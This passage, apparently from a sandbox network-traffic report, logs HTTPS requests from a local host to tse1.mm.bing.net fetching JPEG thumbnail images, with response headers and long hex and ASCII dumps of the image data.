7e 5c 95 df ef ba bc 49 f1 0c e3 4b 93 92 dd 8a fa b7 bd cd 73 c8 66 f0 7e a5 af 59 41 a2 5b db 47 a7 b4 c9 bf Data Ascii: ^"~ i77ad&}\|[sMXmJN(MeigV$WIO4,~U_Bjp=(Qu(EIM'Y:_&z-\|'kYMHt.#Q5i}Q~\IKsf~YA[G
2024-11-23 18:52:20 UTC	8192	IN	Data Raw: 70 49 dd f2 f5 aa 3f da 1f d9 36 7f f1 32 8a cd 2d e6 db 0f 91 77 aa 3e fb 78 bf 85 65 68 d3 73 ef fe 24 fb dd aa cd 8d c4 f2 5c e9 cf 65 ff 00 08 d4 3a c4 90 cb b3 cc da ff 00 d9 91 2a fd e3 b8 0d b0 2f 5f f6 ab e0 62 a6 f5 93 d0 fa 02 cd 86 a1 35 e4 91 cb 65 a9 5b a5 bd ed d3 3e a2 9a ac 9f 68 9a 38 93 f7 71 c6 bd 91 7f f4 1d d5 0c de 24 86 4f 10 3d be 8b 24 97 53 59 4f e4 cf 64 9f 3b dd ff 00 7b fd 9f 97 b2 d6 46 ad 77 73 61 a4 da da 5c 79 90 2e ac ed 0d ae a1 69 65 6f 34 37 71 7f cb 49 b7 c7 81 cf 64 6d d4 cd 12 34 d1 6e 23 b2 8a ca cf fb 32 c9 19 ee b5 4b bb 8f b3 25 c6 ef f9 e6 e9 bb e5 ff 00 63 fb d5 5f 56 8c b5 97 cb fa fc 03 98 d6 bf d3 6e 6e a4 83 7e a7 a5 4d be 7f df bc 72 4a 8f 68 bf c2 b0 34 7f 93 e3 9a d0 b5 d0 ed bc b8 ec 9e fa e2 d6 fa d7 Data Ascii: pI?62-w>xehs$\e:*/_b5e[>h8q$O=$SYOd;{Fwsa\y.ieo47qIdm4n#2K%c_Vnn~MrJh4
2024-11-23 18:52:20 UTC	8192	IN	Data Raw: 24 8a 8f 1c 4b ff 00 3d 26 7e 51 4b 7f 0e da db f0 ce 87 a2 78 37 c2 77 de 20 be f1 05 96 97 a4 cc f1 7f a7 5f 49 2b 43 f3 7f bd cb b3 76 1d 2b b2 8c 5c a5 c9 18 b9 4e 5a 46 2b 53 2b fd c2 43 a7 ea b6 fe 5f d9 3f 72 90 c2 a9 be 0b 7d 9f 3f fe ce df ec d7 37 e2 ad 7f c1 9e 13 d5 a7 7f 19 6b 9a 75 cd c2 43 b3 fb 3a 3b 3f b4 ea 32 3c 9d 5d b6 e1 17 fd da f3 7f 8a 3f 1e 3c 49 ae 58 df 78 7f c3 f7 37 16 b6 37 ae db ee be e4 de 52 ff 00 cb 38 d4 7f a8 f7 fe 75 e3 f7 0b 73 f7 df e4 77 7d ee f2 49 fe b3 fd ad c6 bf 4b c8 7c 3f a9 cb ed b3 29 ee be 15 fa bf f2 3c ea f9 8c 63 ee c3 53 d8 b5 8f 8d b6 11 ea 53 b7 85 fc 21 22 5c 24 3f 66 82 ea fe e1 e1 f2 f6 b7 de f2 50 e1 32 bd bf 3a e2 fc 69 f1 43 c6 de 2c d2 60 d3 f5 5d 5e 3b 5b 7b 2f f9 61 63 1f d9 be 76 fe 29 36 Data Ascii: $K=&~QKx7w _I+Cv+\NZF+S+C_?r}?7kuC:;?2<]?<IXx77R8usw}IK\|?)<cSS!"\$?fP2:iC,`]^;[{/acv)6
2024-11-23 18:52:20 UTC	8192	IN	Data Raw: 1d e7 da 2e ed ac d3 c9 fd ce 9c f7 d7 09 f6 e9 f7 fd f6 db c7 98 db 7e e0 fc 6a af da b4 dd 43 52 fb 2e bf ab eb b3 4b 04 2d 78 96 ba 95 9f fa 4d a6 cf f9 eb 74 98 db ff 00 5c b3 54 61 d6 2f 35 6b a8 ed fc 31 1d 96 ad 69 0e ef 32 d7 55 f9 2e 34 cf fa e9 3b 8d fb bf dd e9 5a 3e 20 6b fb cf 0d cd a7 da 79 7a 14 2e 9b df 5e 9f 51 89 e1 91 bf 89 16 36 f9 fe 66 eb 9f bd 57 4e 9a 5f 14 6c df f5 fd 7e 01 cd f3 21 b3 fb 1e a5 6d aa f8 89 f5 78 e1 d3 e6 7f 39 e3 b1 b7 78 7e d1 b7 a7 c9 37 cb b8 ff 00 78 7d ea d0 6b 8d 6e c7 c3 73 ea 6f a1 de 6a 7a 84 ce bf 65 b5 9e 45 b7 9a 08 99 3f e5 ae dd bb d8 74 18 dc 47 7a c5 b3 9b 58 8e f9 ef 75 dd 5f 4e fe c7 b5 45 d8 f0 59 26 f8 15 7f 85 91 73 f2 ee ea d8 ae 6b c4 0c 9a c6 9b 1e b5 17 89 64 d3 34 9f b5 6f 8e 0d 72 f3 ce Data Ascii: .~jCR.K-xMt\Ta/5k1i2U.4;Z> kyz.^Q6fWN_l~!mx9x~7x}knsojzeE?tGzXu_NEY&skd4or
2024-11-23 18:52:20 UTC	8192	IN	Data Raw: 69 63 8b f7 7b e1 75 de 92 48 9b 3c a6 eb ff 00 02 0d ce e1 59 fa 0d be a5 aa 49 25 dd c7 99 6b 6f 35 d7 93 03 c7 23 a7 98 eb fd ef ad 74 c3 0b 28 c7 9e 5a 5b a1 31 91 9f a9 78 93 58 bc 92 4b 2b b8 bf 7d 33 ec 9d fc bd ef f2 ff 00 79 d7 d7 f4 eb 5d 97 f6 7b ff 00 66 c1 69 a2 c5 26 9f 77 f7 1f f7 9b fe 45 f9 a4 cf 4a 21 d3 74 7d 37 cc 95 e5 fb 13 dd 7c 9f 6a 7f b9 e6 ff 00 72 b3 75 5d 26 f1 ac 7c db 7b eb db 54 b5 f9 d1 23 93 7c 32 7f c0 db e6 75 ad 25 88 a7 57 65 cb 1f cc ae 5e 52 e2 4d 0d 8c 72 5a 5e fd 9a eb 7a 33 a7 97 fe ba 3f f7 7f ad 53 d0 74 dd 2a ea fa 48 a2 b9 fb 54 db 37 a3 c9 1e c7 ff 00 c7 ab 93 b9 86 f1 64 93 7c 51 c6 e9 f3 bf fa 47 e9 b7 fd da b1 6d ac 25 8d 8c 96 5a 7c b2 42 f7 53 af ef 24 91 fe ff 00 fb 2b fd da ed 8e 19 ca 3e e4 b5 32 f6 Data Ascii: ic{uH<YI%ko5#t(Z[1xXK+}3y]{fi&wEJ!t}7\|jru]&\|{T#\|2u%We^RMrZ^z3?St*HT7d\|QGm%Z\|BS$+>2
2024-11-23 18:52:20 UTC	8192	IN	Data Raw: 10 be cd f6 37 1f 69 7b 4d cb fb c6 f2 ff 00 bb ff 00 01 5a 76 8f a3 dc f8 6f 4e d5 6e b5 2d 5e 39 3c cd ae ff 00 da 5b ff 00 71 ed 2e df 95 fd fe 6a a3 61 79 0d ad af db ef 45 c6 92 fa 9d 94 7f 65 87 51 d4 16 d2 18 3f 83 74 7b 3f 7a df 56 ab f6 22 d2 69 74 bd 2b 4d f2 f5 6d 3f 4f 49 66 7b 59 e4 8a e2 19 1b 67 fa c4 93 ab b0 6f e1 6a a9 7b 54 ec b6 eb a7 6f 30 8f f3 15 b7 78 31 af bc dd 56 db f7 da 9c 9b 27 82 79 1e 18 63 89 7e e7 c9 f7 19 9b ef 7d ef e2 a9 a1 f1 16 90 df 26 8f 73 65 6b 6f 75 3b 43 07 ee ff 00 73 b3 fe 01 ff 00 a1 55 38 6e ae 75 9d 5b 67 89 75 2d f6 f0 ce bf e8 50 68 d1 79 3f 77 7b 2c 8b fc 32 ff 00 bb 57 3c 59 ad 3e 9f 6b 6b 68 96 52 79 d7 ae b0 da dd 47 e5 7d 9e 3d df de 87 fb b4 e5 4f 9a 51 83 bb 7e ba 7e 45 7f 78 75 fe 9f 61 a8 6a d2 Data Ascii: 7i{MZvoNn-^9<[q.jayEeQ?t{?zV"it+Mm?OIf{Ygoj{To0x1V'yc~}&sekou;CsU8nu[gu-Phy?w{,2W<Y>kkhRyG}=OQ~~Exuaj
2024-11-23 18:52:20 UTC	8192	IN	Data Raw: 89 f3 7d cc d6 ac de 1c d1 35 4f b5 4b a9 68 9b fc 94 fd ca 58 c8 e9 f3 ff 00 cf 27 56 c8 85 bf bd cd 5a f0 ff 00 87 f5 29 6f a6 7d 2b c5 37 97 33 3f fc fa 49 f6 b4 d3 11 79 68 e5 98 fc bb 7f d9 f9 8d 3a 55 e3 1f 79 cd de 2b af f4 ff 00 41 4a 99 c7 eb da 7e bb 0c 73 dd e8 f7 36 6f a6 5a a3 3b dd 6a b6 69 b2 4d dc 2c 51 27 f1 ff 00 77 91 49 63 e0 9b 9b ad 26 0b ab 28 af 74 f9 af 7f e3 f9 fe c7 b3 cc 97 fb 8a 9f c4 a1 7d 96 bb 9d 39 b4 4b db 29 2e b5 ab ed 43 50 d3 ec a7 97 64 f7 51 bd bf 97 2f f1 2e fc 6e dd fd dd dd 3b 51 35 bf 86 23 92 3b a7 f0 ff 00 d8 af 51 1a 1b 5b a9 ee 3e d1 0f cd fd e9 44 83 e7 1d f8 ae a8 e6 d5 21 0e 5b 6b e8 4f b0 8f c4 65 43 0d 9c 31 c1 a2 45 a9 6a 10 ec 7d fe 7c 1a 8d bc 3f 6b 95 be f2 98 8f 1b 8f bf d2 ba 44 6b 3d 06 49 e2 7d Data Ascii: }5OKhX'VZ)o}+73?Iyh:Uy+AJ~s6oZ;jiM,Q'wIc&(t}9K).CPdQ/.n;Q5#;Q[>D![kOeC1Ej}\|?kDk=I}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:19 UTC	346	OUT	GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 18:52:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 770657 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AD62FEAC43444DB79989329F16647232 Ref B: EWR30EDGE1009 Ref C: 2024-11-23T18:52:20Z Date: Sat, 23 Nov 2024 18:52:19 GMT Connection: close
2024-11-23 18:52:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d 32 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 34 3a 32 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``2ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:24:228
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: e3 7b ab 74 4f dd f9 92 7e f2 9d 1c 7f be ff 00 9e 94 f8 e0 ba d4 25 93 64 3e 63 f9 7e 67 fc 05 6a 25 36 d9 29 b5 a3 35 fe 23 e9 ba 1c 36 b6 49 a0 c5 37 da 23 89 ff 00 b4 7c cf ef ef f9 76 d7 22 ac 16 df 8f bd 5d 4f 8b 7c 41 7f e2 cf 11 7d b5 ec ed 6d fc bb 78 63 78 ed a2 d8 9b 63 4d 95 ca 6d fd ec 89 5a 42 2d a4 69 87 52 50 e5 93 d5 13 aa ff 00 c4 bf e4 aa ac af dc 50 ff 00 2c 7b 28 69 5d aa ad 63 a2 31 68 6b f5 a3 9a 73 26 df 9c 0f 96 9b cd 05 8e ff 00 96 34 de 68 e6 8e 68 00 e6 8e 69 cb 1f f7 a9 bc d0 17 4c 3f da a7 03 ba 3d b4 22 bd 3a dd 6a 89 6e c4 6e bb 68 e6 a4 8e 2d d2 d2 48 86 36 c0 a4 87 75 7b 0c e6 8e 69 d1 ae fa 3c b3 eb 45 82 e3 79 a3 9a 1d 76 d1 cd 21 87 35 35 93 22 c9 f3 d4 28 db 6b 63 45 82 c6 ef 52 8c 6a 13 79 10 6c df 21 a6 95 d9 15 1d Data Ascii: {tO~%d>c~gj%6)5#6I7#\|v"]O\|A}mxcxcMmZB-iRPP,{(i]c1hks&4hhiL?=":jnnh-H6u{i<Eyv!55"(kcERjyl!
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 83 27 ef ff 00 d4 ef f2 ed db f8 eb 83 f1 3e ab 69 a2 eb 91 e8 be 1b ff 00 4c b5 d2 ee 61 ff 00 48 b9 fb f7 72 af fe cb 5c 55 31 d1 c4 41 fd 5d ea 8c 6a 62 9d 59 25 05 6b 1f 5d 7c 24 d4 f4 5b dd 26 4b 5b db 3f b1 49 1f ee fc b8 a2 df e6 4b fe fd 73 fe 22 f8 9e fe 1d b4 d3 6e af b4 29 7f b1 e3 d4 66 b7 92 48 e5 fe 35 fe ea ff 00 15 72 5e 16 f1 7f 88 25 f1 16 8b a4 09 ad 23 ba 92 54 8e 4f f9 f7 b4 9e 4f 9d bf df f9 6b cf a4 6d 4a e3 56 92 d7 c7 1a c5 af 91 1c 93 7d 8a 3f b5 a3 fe f7 7e e6 7d bf ed 57 c3 bc bf eb 71 9c 71 11 f7 7f 33 9e 12 82 ab a1 ec 57 5a be ab f1 92 ee db fb 77 4e d4 34 af 09 69 f1 ba 69 d6 d1 7d fb f7 6f e3 7f f6 56 bc 37 e3 b7 c2 0d 73 4f f1 5e 81 68 9a ec be 25 92 e2 3d 9f 67 8a 2f df 41 12 bf f8 57 b0 78 57 e2 d7 87 bf e1 20 b1 d0 ae Data Ascii: '>iLaHr\U1A]jbY%k]\|$[&K[?IKs"n)fH5r^%#TOOkmJV}?~}Wqq3WZwN4ii}oV7sO^h%=g/AWxW
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 74 fb 7f ec eb 3f b4 5c dc 1f fd 14 9f ed 9a 9c b3 19 89 95 06 f1 aa d2 2f 09 8a a9 ca fd ba d4 f3 85 2e df 20 34 f8 ed 9d be e8 af 5b f8 b3 f0 96 c7 c1 1e 03 b2 bd 9f 52 9a e3 5e b8 d9 25 cd b4 71 6d 8a d1 19 33 c9 fe f5 64 78 12 d6 1b af 09 49 0d b6 93 0e f9 24 f2 2e 35 5b 89 7e 48 f3 ce d5 af 46 96 32 95 58 39 d3 77 46 f2 c7 41 d3 e7 a7 ae b6 3c df e7 fb 95 63 cd 55 fd d3 d5 9f 11 49 6d fd a1 b6 0f 9e 38 fe 5a a3 94 69 2b a2 32 ba 4c ea 4f 9e 2a 4d 58 5b a9 de 6f f7 6a 1e 6a e3 b2 34 5b 2a 29 a4 23 e4 aa ea 54 65 6d 12 20 e6 a4 8d bf 73 42 c5 23 7c d5 24 cb ba 3d ff 00 72 9d d1 4d ab 85 d2 7f ab fd ef 99 be 8d ab 0f cd fe b2 a1 64 db 4e dc eb 15 08 56 d0 6e e7 6a b1 1d b7 f0 7f 1d 57 b5 ff 00 59 5a 5e 6a 5b cb f3 d4 39 34 45 49 35 a2 28 dc db b4 3d 6a Data Ascii: t?\/. 4[R^%qm3dxI$.5[~HF2X9wFA<cUIm8Zi+2LOMX[ojj4[)#Tem sB#\|$=rMdNVnjWYZ^j[94EI5(=j
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: c1 73 33 47 b3 fd 5a 54 1a a7 96 ad f2 7c f4 2d 47 19 c9 ce cc ac a2 2a 87 9a b9 a6 d9 fd a3 ee d4 ad 06 d8 be 4a 6d 97 ed 62 9b 45 5d a8 b4 54 f6 f0 7f 1d 14 73 10 ea 24 cf b3 75 9f 0d 5a 68 fa 4d 8d d7 89 34 db bb d8 ed ed bf d1 a4 ff 00 96 37 0f bf e7 db 5d 7e 9b e0 5d 26 e3 49 b6 d5 2f 61 b4 b2 fd da 7d 9a 49 7f b9 fe ed 6f 7c 5b f1 c5 84 5a 7d 8e 82 f3 5a 49 a6 c7 fe 97 1e a5 e5 7c f1 bc ae ff 00 c3 ef 55 60 9e 0b 2d 12 c7 4b ba 9a 6f b5 5e d9 3c 92 49 ff 00 3e fb 7f b9 5f 9a d6 c5 e2 39 2f 1d cf 46 58 67 4d b2 69 fc 4b a2 da 43 e4 59 4d e6 47 65 27 97 fe ab fe 05 5c 04 7a d4 1f f0 b2 24 4d 46 ce 69 20 b8 fd e7 97 ff 00 3e ff 00 ed 57 5b e1 1b c9 f5 5f b3 59 3e 9b 34 7e 67 fa 44 97 32 c4 9b ee 3f 87 ee d5 af 8b 9e 13 f0 f6 89 e0 8b ed 5d e1 f3 2f a3 Data Ascii: s3GZT\|-G*JmbE]Ts$uZhM47]~]&I/a}Io\|[Z}ZI\|U`-Ko^<I>_9/FXgMiKCYMGe'\z$MFi >W[_Y>4~gD2?]/
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: e6 6a 5f f2 d3 f8 d2 37 6a ee af be 18 5f de ea 1a 6d d4 fe 2a fb 45 f5 94 9e 5c 76 57 31 79 2f 6e ec 9f fa 0d 79 b7 8d 3e 1c f8 de 28 63 79 ec e6 b7 82 f6 f7 cb 96 48 a5 fe ef f7 bf d9 a8 a3 8a 8b 4e 30 91 95 6c b6 1f 0d b4 3b 29 ec 74 5d 6f 50 b2 d3 be d9 fd 9d 3c 9f e8 f7 3f f4 cd ff 00 bd 4c d5 7c 43 7f e1 fb bf ec 4b 29 bf b4 63 b7 fd e7 da 6d be 4f 31 fe ef cc ff 00 ec d6 27 86 7c 35 e2 1f 10 78 8a 4b 28 fc 98 ee ad f7 dd fe f6 5f ee a7 f1 32 fd e6 6a e4 bc 63 73 ad 68 ff 00 66 df 67 0f 99 e5 cd e6 47 14 4f e4 c6 ec 9f c5 fe e5 4d 39 55 94 ed 27 73 97 fb 35 53 5c ed 68 7a 36 a4 ba 16 b7 34 68 97 9f 6d f2 ed 93 cc fd ef fa b7 6a b9 a5 2e 93 a7 fe e2 ca 1f 2e b9 0d 3b 5c d4 a5 f0 cc 69 fd 9b 69 fe b5 24 f3 22 8b fd 8a 96 38 35 29 61 df 6b fe be 4f f5 Data Ascii: j_7j_m*E\vW1y/ny>(cyHN0l;)t]oP<?L\|CK)cmO1'\|5xK(_2jcshfgGOM9U's5S\hz64hmj..;\ii$"85)akO
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: ed a8 2e 3c cb a9 ff 00 e5 a7 fa cf 36 bc df 4b 91 e5 f9 fc a9 77 d6 c4 0b 3b cb b1 ff 00 d5 d7 7c 68 26 96 87 85 3c 47 22 69 ee 6b be 9b a6 ea 1a 8e cb 5f dd d5 8f f8 43 65 96 6d 90 4f 17 fd b4 a9 fc 3f a7 c6 f5 d3 41 02 27 dc ad 9d 47 0d 13 39 14 79 f5 67 25 07 83 2f 1f ef 98 a9 ff 00 f0 88 dc 27 78 ab b8 b5 8a 0a 9a 78 a3 fb e9 53 f5 99 5c cf d9 3e a7 11 6b e1 af f9 e9 35 6c e9 ba 2c 76 ff 00 72 b6 7c aa 73 c5 b2 94 ab 39 22 52 51 77 48 ce 8f 4f df 35 4f 05 9c 76 f7 75 6a 3f 33 ee 24 35 76 d6 0f ef d6 13 e6 5a 95 ed 17 72 7d 1e da 34 9b 7f fc b4 ae a2 c6 29 1e b1 ac 62 f2 a6 de f5 a9 6b 73 1b 4d bd 2b c4 c5 46 52 67 45 0a 96 57 2d 3a c1 14 df 24 3e 65 61 dd 4b a6 e9 9e 64 f3 cd fb cf f5 9f bd ab 57 d3 dd bc db 2d 61 9a 4f fa 69 5c d5 df 85 75 6d 56 ee Data Ascii: .<6Kw;\|h&<G"ik_CemO?A'G9yg%/'xxS\>k5l,vr\|s9"RQwHO5Ovuj?3$5vZr}4)bksM+FRgEW-:$>eaKdW-aOi\umV
2024-11-23 18:52:20 UTC	16065	IN	Data Raw: c4 77 16 fb f8 7f e1 fb b5 32 c9 6b 28 ba 91 76 5d 11 c7 ed 94 ee a5 23 b6 f8 bb aa 47 67 e1 3f 09 a4 3a 76 a0 f2 69 d2 5c c1 a8 db 4b 2f fc bc 79 db be 7f ae ea ea be 1c ff 00 c2 35 e2 5b 48 dd fc 9f 3e 3b 67 b7 d4 ac af a2 f2 52 39 77 ff 00 0f f2 ae 0f c3 37 9f 6b fb 4e 91 3d 9c d2 6a 3a ac 6f 27 99 e6 ef 78 ee 17 2f 13 ff 00 8d 50 f0 7d 8f 8a 3f b7 23 83 57 bc 9a 38 24 df 77 e5 c7 f3 fd a2 7f e0 8f e5 fe 2d d5 d5 0a 3f bb e5 96 8c eb a3 ee ca e7 b2 78 f3 e0 cf 84 2d f4 48 d2 cb 52 fd fd c6 ff 00 2e db 4d 89 26 79 3e 4a f0 2d 63 4c fe cf b4 b2 df ac 7d 8e ef 4e 8f f7 91 c9 0b a3 f9 bb fe e7 fb 4c b5 ea fa 8e ab e2 ff 00 0a 1b dd 52 7b c8 b4 ef 13 5c 5b 79 9f 66 92 2f dc c6 8d f7 bf d9 e6 b8 0f 12 78 e6 0f 14 69 d2 5d 6b a6 59 35 8d 3e 5f b5 f9 92 9d f6 Data Ascii: w2k(v]#Gg?:vi\K/y5[H>;gR9w7kN=j:o'x/P}?#W8$w-?x-HR.M&y>J-cL}NLR{\[yf/xi]kY5>_
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: b9 ab 11 41 27 d9 7e d2 92 e2 85 14 55 d2 2a f3 57 34 75 df 36 cf 27 cc a2 c6 da 36 8f 7c b3 79 75 0a ef 4b 8f dd 49 f3 7a d3 50 e5 64 3d 74 24 78 3f d2 b6 4d fb ba af 37 de 15 af 1d a4 d7 56 d9 f3 62 46 ac a9 e0 92 29 76 3d 54 d6 9a 21 45 dc 6f 98 7d 2a 58 f6 34 7f 3d 40 dc 1a 73 ff 00 b1 59 f3 3b 94 e3 71 d2 37 ef be 4a 6c 8d ba 9b cd 1c d2 94 ae 50 73 52 db cd b0 e1 fe e5 45 cd 1c d2 57 4c 03 69 a1 1b 6d 58 b1 29 e6 6c 7f e3 a4 ba 48 e2 9b 62 1f 32 ab 95 0a e3 60 9e 68 a6 f3 93 ef d1 51 3f 5a 2a 6e fb 87 2a 3d df c5 5a d7 89 2d fc 79 a2 7c 42 d2 ec ff 00 d2 bc bf b3 c7 e6 c5 bd 24 75 fd df fe 83 5e 71 7d af 5d ea 7e 36 d3 af 7c 4f 7b a8 48 2d e5 fd e0 3f f2 c3 e7 dd b5 3d b3 5f 58 78 ba c7 49 d7 7c c8 2f 74 d8 74 e9 3c cf 32 3f 2a 5d 89 5e 27 f1 0b c1 Data Ascii: A'~UW4u6'6\|yuKIzPd=t$x?M7VbF)v=T!Eo}X4=@sY;q7JlPsREWLimX)lHb2`hQ?Zn=Z-y\|B$u^q}]~6\|O{H-?=_XxI\|/tt<2?*]^'
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: b4 8f 0d 68 41 3d a2 5a 6c 9e ad 6d 8e 2b 4d f0 7f cb 4a 9e 66 3e 5b ee 57 8e 78 12 1a af 25 f4 69 0f 97 07 ee ea 8c 9e 7a 7f d7 3a af 1b 6d f9 e9 f2 8d 24 8b 1b 63 fb ef 53 fd 99 25 8b fd 4f 97 54 3c f9 1a ad 7d af f7 35 4b 64 05 39 b7 a7 c8 69 02 1d 9b aa 46 64 63 c0 d9 4d 98 22 cb f2 1d e2 a6 56 dc a1 9c d4 d6 26 dc 4b fe 93 14 92 27 a4 66 a1 e6 8e 6b 30 34 af 2c 2d 16 c7 ed 56 ba 94 32 73 fe aa 4f 96 5a cd e6 8e 68 e6 80 0e 68 a1 7a d1 5a 28 b6 07 de ba a2 c1 a5 78 66 3b bb a8 6d 35 5b af f9 e7 7d 0f 9d e5 a3 27 ee fe f7 f1 ef f9 6b 9e 9b fb 27 c5 ba 4c 7e 27 be b3 9a 48 2c ef 52 3f b3 47 f7 27 b7 d8 9e 6a ff 00 c0 2b b2 d5 7c 2b 7f e2 59 a4 b5 b5 fe cf fd de a3 6d 3f da 7c df 9e 44 5a 2f bc 23 27 86 b4 3f ec 84 9a 18 ed 74 e8 a6 b8 f3 3f e7 e3 77 cc Data Ascii: hA=Zlm+MJf>[Wx%iz:m$cS%OT<}5Kd9iFdcM"V&K'fk04,-V2sOZhhzZ(xf;m5[}'k'L~'H,R?G'j+\|+Ym?\|DZ/#'?t?w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49732	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:19 UTC	375	OUT	GET /th?id=OADD2.10239381854851_1AVWWRK3Y93QIKX3W&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 18:52:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 741081 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9155960344204575B182C9B9E9FC5772 Ref B: EWR30EDGE1409 Ref C: 2024-11-23T18:52:20Z Date: Sat, 23 Nov 2024 18:52:19 GMT Connection: close
2024-11-23 18:52:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 18 96 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 33 3a 31 37 3a 34 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 13:17:478
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: a4 16 11 ca 8d f2 24 ff 00 37 e3 59 90 a5 f6 9b 1f 97 27 88 74 ab 58 ff 00 82 28 60 f3 7f c3 35 14 9a ee 98 9f 2c da d4 97 0d ff 00 4c 74 e5 db ff 00 8f 1a 9d 80 d7 be b8 d2 ac ed 7c cb 8b f8 d6 1d 9b b6 27 de 7f cf 93 50 d8 c9 69 75 1e e5 b1 db 1c bf 32 3c d3 fe f7 f2 c5 73 3a 86 b1 a1 c5 fb e8 ec 27 ba 93 7e ed f7 1f de ed 51 ff 00 c2 5f aa bc ee d1 c7 02 aa fd c4 7f e0 a5 71 9d 85 ad b4 4d 3e df 32 09 66 54 dd f6 7b 7d cc db 7f 4a bb 6f a7 5c ac 0e cd 61 26 d6 7d cf e7 26 dd 95 e6 cd e2 3d 4d 6f 9e f1 64 8d 6e 19 36 bb ec f9 aa 6b 7f 15 ea eb 26 e9 27 8e 5f f7 f7 35 2d 3b 8a e7 6f 25 bc 76 bf 37 97 e5 6e fe 3d ff 00 2d 4b 34 f7 91 46 df e9 7b 96 2f bf 0b fc bb 3f fa d5 ca c7 e2 db e6 8f 74 77 70 2d c6 cd a8 89 07 f5 35 9b a0 dd dc f8 97 5c dd 